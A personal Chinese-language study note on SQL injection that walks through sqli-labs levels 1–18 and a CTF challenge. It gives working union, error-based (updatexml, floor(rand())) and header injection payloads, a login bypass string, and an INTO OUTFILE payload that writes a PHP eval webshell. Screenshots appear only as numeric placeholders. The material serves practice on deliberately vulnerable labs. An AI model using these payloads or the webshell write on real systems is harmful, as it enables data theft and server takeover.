最最最最最基础简单的部分 (虽然它简单但是不等于我记得,更不等于我会.jpg)

SQL 提权见 linux 提权

# 基本语句

先明确一件事,所有的查询语句,查的都是数据,而不是字段之类

select database()
//这是查当前数据库,如果是要查所有,是;
select group_concat(schema_name) from information_schema.schemate才对
注意,只有在information_schema.schemate中才存在字段schema_name,在其他两个表中都会叫做table_schema,但是在information_schema.tables/columns中却都有table_name这个玩意儿
select table_name from information_schema.tables where table_schema='库名'
//仔细思考下含义,其实这里查的是information_scheam下的tables表的table_schema字段下的值,这和要查的表无关,应为查询查的都是字段的值
select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 1,1
//1,1表示查询从第一个字段开始查,查一个(其实只能这样),同上,这就是在information_schema库的columns表上查table_schema字段和table_name字段下的数据(注意这是两个完全不同的字段,实际上是查两者共有的那个)后面的and语句也可以换成columns.table_name=
select 1,flag,3 from error_flag

在任何时候,都可以用类似 group_concat (table_name) 的表达来一次性查询

回显长度有限时可能需要 substr (),right (),left () 之类的调整

(加在直接查询的地方)

select group_concat((right(password,25))) from...

联合查询需要使用 order by 字句判断字段数与回显点

例子:

# [极客大挑战 2019] HardSQL

这题是报错注入,其他的几个都被过滤了(?不知道能不能盲注)

大致 payload:

updatexml(1,concat(0x7e,database(),0x7e),1)

以及

把 database 换成:

(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))
//因为是在函数里,所以都要用()
//like本身用于模糊匹配,但这里等同于=
//用了group_concat,这些报错注入的函数都是单次查询。返回多条会报错,得不到东西

及其类似物

# SQL-lab

# 1

联合注入是在前一句执行失败时才执行后一句,所以不要用 1

这里的 wp 中有一句

select group_concat(column_name) from information_schema.columns where columns.table_name='users'

但是实际上不够准确,因为没有指定数据库,其他某个数据库中也存在一个叫 users 的表,那么其字段也会输出:

1753349587595

可以多加一个:
and columns.table_schema='security'
不过实际上这个where字句中的conlumns可以直接省略

# 2

数字型,不用闭合,其他同上,还有就是不要用 1! 不要用 1! 不要用 1!

# 3/4

变形版本,得看源码

1753350302712

1753350405980

于是 payload

?id=1') union select ...
?id=") union select...

# 5/6

没有回显,这俩只有闭合方式一样('/")

一个闻所未闻的报错注入格式:

and (select 1 from (select count(*),concat((payload),floor(rand(0)*2)) as x from information_schema.tables group by x)a)--+

这里结合了联合查询:

union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a

原理是:

1753352462619

1753352542565

子查询中用 information_schema.table 只是因为数据量多,方便触发重复键错误。

count () 就是计数用的聚合函数,类似的还有 sum ()...

PS:单说这道题,用 updatexml ()/extractvalue () 也是可以的

# 7

看源码:

1753353147091

这下报错都没回显了,<del> 盲注脚本一把梭哈(?)</del>

之后闭合就不多说了,看源码就知道

联合写入(?)

?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile '\\var\\WWW\\sqli\\Less-7\\1.php' --+
//那一串就是<?php eval($_POST['test'])?>

路径靠猜

# 8/9/10

布尔 / 时间盲注,以及闭合方式

1753354681307

1753354700823

# 11/12

变成登录界面了,首先来个万能密码:

-1' or 1=1#

发现输出和第一关一模一样。显然 payload 也是一样了

(从 11 题开始用 post 方法,12 闭合不同)

wp 里面用了 limit 2,1 之类的,不过这题能显示出来的挺多,直接 group_conca () 就行了

# 13/14

常规 order by 加 union, 发现没有回显,但是可以报错。

闭合方式是 ')

随便给个 payload:

-1') union select count(*),concat((select database()),floor(rand(0)*2)) as x from information_schema.tables group by x #

# 15/16

盲注

# 17

报错注入,但是 password:

1753357670709

username 单独查询的结果,作为下一次查询的参数,而不是我们的输入本身 (也没有任何回显)。

有 $row 的判断,说明必须输入实际存在的用户名

所以注入点在 password,就这样

随便给个 payload

1111' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
//user()返回当前数据库用户

# 18

这道题注入点在 user-agent

看源码:

1753360163847

测试时可以发现有错误回显,报错注入

提前闭合 ') ,然后由于是三个参数,不能把直接后面注释掉

mysql 总是先解析语法,所以必须再次凑一个闭合

payload:

xxx') or updatexml(1,concat(0x7e,(select version()),0x7e),0) or ('

拼上去后:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('xxx') or updatexml(1,concat(0x7e,(select version()),0x7e),0) or ('', '$IP', $uname)

这里说一个点,当字句如果是一个表达式,例如上面的 or 连接的参数表达式,那么在语法解析时这个整体作为单一表达式,其结果作为下一步语法解析的参数,所以上面的报错表达式是会执行的。

但是如果是下面这种:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('-1' or updatexml(1,concat(0x7e,(database()),0x7e),0)) #', '$IP', $uname)

此时会先检查 values 的参数表,只有一个,直接报错,此时我们构造的报错语句反而没有执行,出现参量不匹配:

1753361990287

你可以手动补齐参量:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('-1' or updatexml(1,concat(0x7e,(database()),0x7e),0),2,3) #', '$IP', $uname)

1753362030825